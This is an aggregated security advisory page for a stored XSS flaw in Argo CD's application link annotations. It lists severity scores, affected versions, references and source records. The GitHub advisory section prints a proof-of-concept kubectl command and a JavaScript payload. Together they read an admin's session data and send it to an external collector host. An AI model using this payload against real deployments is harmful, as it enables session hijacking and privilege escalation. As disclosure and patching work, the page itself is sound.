7.3high
Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation
- Severity
- 7.3high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.39% (higher than 35% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-h98r-wv3h-fr38BIT-ARGO-CD-2026-45738GO-2026-5418
Description
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Prior to 3.2.12, 3.3.10, and 3.4.2, Argo CD users with application write access can set link.argocd.argoproj.io/* annotations whose pipe-separated values are rendered by ui/src/app/applications/components/application-summary/application-summary.tsx in the Summary tab URLs section as anchor href values without URL validation, allowing javascript: execution in a higher-privileged user's authenticated Argo CD origin session. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| argoproj argo-cd | < 3.2.12, >= 3.3.0, < 3.3.10, >= 3.4.0-rc1, < 3.4.2 | CVE List |
| github.com/argoproj/argo-cd/v3 (Go) | before 3.2.12, from 3.3.0-rc1 before 3.3.10, from 3.4.0-rc1 before 3.4.2 | GitHub Advisory Database, Go Vulnerability Database |
| github.com/argoproj/argo-cd/v2 (Go) | up to 2.14.21, all versions | GitHub Advisory Database, Go Vulnerability Database |
| github.com/argoproj/argo-cd (Go) | up to 1.8.7, all versions | GitHub Advisory Database, Go Vulnerability Database |
| argoproj argo_cd | before 3.2.12, from 3.3.0 before 3.3.10, from 3.4.0 before 3.4.2 | NVD |
| argo-cd (Bitnami) | before 3.2.12, from 3.3.0 before 3.3.10, from 3.4.0 before 3.4.2 | Bitnami Vulnerability Database |
All scores
| GitHub_M | 7.3high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N |
| GitHub | 7.3high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N |
| NVD | 8.7high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| Bitnami Vulnerability Database | high rating |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.
What each source says
CVE List
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Prior to 3.2.12, 3.3.10, and 3.4.2, Argo CD users with application write access can set link.argocd.argoproj.io/* annotations whose pipe-separated values are rendered by ui/src/app/applications/components/application-summary/application-summary.tsx in the Summary tab URLs section as anchor href values without URL validation, allowing javascript: execution in a higher-privileged user's authenticated Argo CD origin session. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.
GitHub Advisory Database
Summary
A user with application write access (developer role) can set link.argocd.argoproj.io/* annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's URLs section as <a href> elements without URL validation. Using the pipe-separator trick (Display Text | javascript:...), an attacker can inject a javascript: URI while displaying a legitimate-looking label (e.g. GitHub Repo). When a higher-privileged user (admin) clicks the link, arbitrary JavaScript executes in the ArgoCD origin context in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.
Details
Vulnerable sink: ui/src/app/applications/components/application-summary/application-summary.tsx:277
const parts = (url || '').split('|');
<a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='_blank'>
{parts[0]}
</a>
The annotation value is split on |. parts[0] becomes the visible link label; parts[1] becomes the href. No call to isValidURL() is made, unlike the protected ApplicationURLs component (application-urls.tsx:72,80) which does validate URLs and blocks javascript:. The target='_blank' opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed fetch() calls).
Root cause: React 16.x does not block javascript: URIs in href attributes (this protection was added in React 19). The helper isValidURL() exists in shared/utils.ts but is not applied to this sink.
CSP: ArgoCD's default Content Security Policy is frame-ancestors 'self' only — no script-src, no connect-src, no default-src — providing zero XSS execution mitigation.
PoC
Prerequisites: Developer role with application write access (e.g. RBAC: p, role:developer, applications, *, */*, allow).
Step 1 — Set malicious annotation as developer:
kubectl annotate application <app-name> -n argocd \
'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'
The URL section in the admin's Summary tab renders the link as "GitHub Repo" — the javascript: payload is invisible in the displayed text.
Step 2 — Admin opens Summary tab of the annotated application and clicks the link.
Step 3 — JavaScript executes at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:
// Payload used during testing (Burp Collaborator OOB):
fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"})
.then(r => r.json())
.then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"}))
Step 4 — Burp Collaborator received the OOB HTTP interaction containing the base64-encoded admin session data. Decoded response:
{"iss":"argocd","loggedIn":true,"username":"admin"}
Tested on: ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.
Impact
- Stored XSS — payload persists in the Kubernetes Application resource until manually removed
- Privilege escalation — developer role → admin session hijacking via authenticated API calls
- Maximum stealth — the injected link displays as any attacker-chosen text; the
javascript:href is never visible to the victim - No server-side interaction required — purely client-side exploit, no network egress needed for execution (exfiltration uses
no-corsfetch, bypassed by absentconnect-srcCSP) - Any admin or operator who views the Summary tab of the compromised application is affected
Credits
Discovered and reported by Jan Kahmen (jan@turingpoint.de) — turingpoint.de
Go Vulnerability Database
Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation in github.com/argoproj/argo-cd
NVD (es)
Argo CD es una herramienta de entrega continua declarativa, GitOps, para Kubernetes. Antes de las versiones 3.2.12, 3.3.10 y 3.4.2, los usuarios de Argo CD con acceso de escritura a la aplicación pueden establecer anotaciones link.argocd.argoproj.io/* cuyos valores separados por barras verticales son renderizados por ui/src/app/applications/components/application-summary/application-summary.tsx en la sección de URLs de la pestaña Summary como valores de atributo href de anclaje sin validación de URL, permitiendo la ejecución de javascript_disabled: en la sesión de origen autenticada de Argo CD de un usuario con mayores privilegios. Este problema está solucionado en las versiones 3.2.12, 3.3.10 y 3.4.2.
References
| https://github.com/argoproj/argo-cd/security/advisories/GHSA-h98r-wv3h-fr38 | advisory, exploit, vendor-advisory, web | |
| https://github.com/argoproj/argo-cd/commit/00f83c41dcfd879f34f8e0248c860d704b41cf0f | fix, patch | |
| https://github.com/argoproj/argo-cd/commit/35ea43c537d6e8948e67f347317fc4f88b325122 | fix, patch | |
| https://github.com/argoproj/argo-cd/commit/c8df5ff7acc403adcee1256da5d87081cd52f0a6 | fix, patch | |
| https://github.com/argoproj/argo-cd/releases/tag/v3.2.12 | article, release-notes | |
| https://github.com/argoproj/argo-cd/releases/tag/v3.3.10 | article, release-notes | |
| https://github.com/argoproj/argo-cd/releases/tag/v3.4.2 | article, release-notes | |
| https://github.com/argoproj/argo-cd | package | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-45738 | web | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-45738 changed 2026-07-16 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-h98r-wv3h-fr38 changed 2026-09-10 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-5418 changed 2026-07-21 | CC-BY-4.0 |
| NVD | CVE-2026-45738 changed 2026-10-24 | Public domain |
| Bitnami Vulnerability Database | BIT-ARGO-CD-2026-45738 changed 2026-09-08 | Apache-2.0 |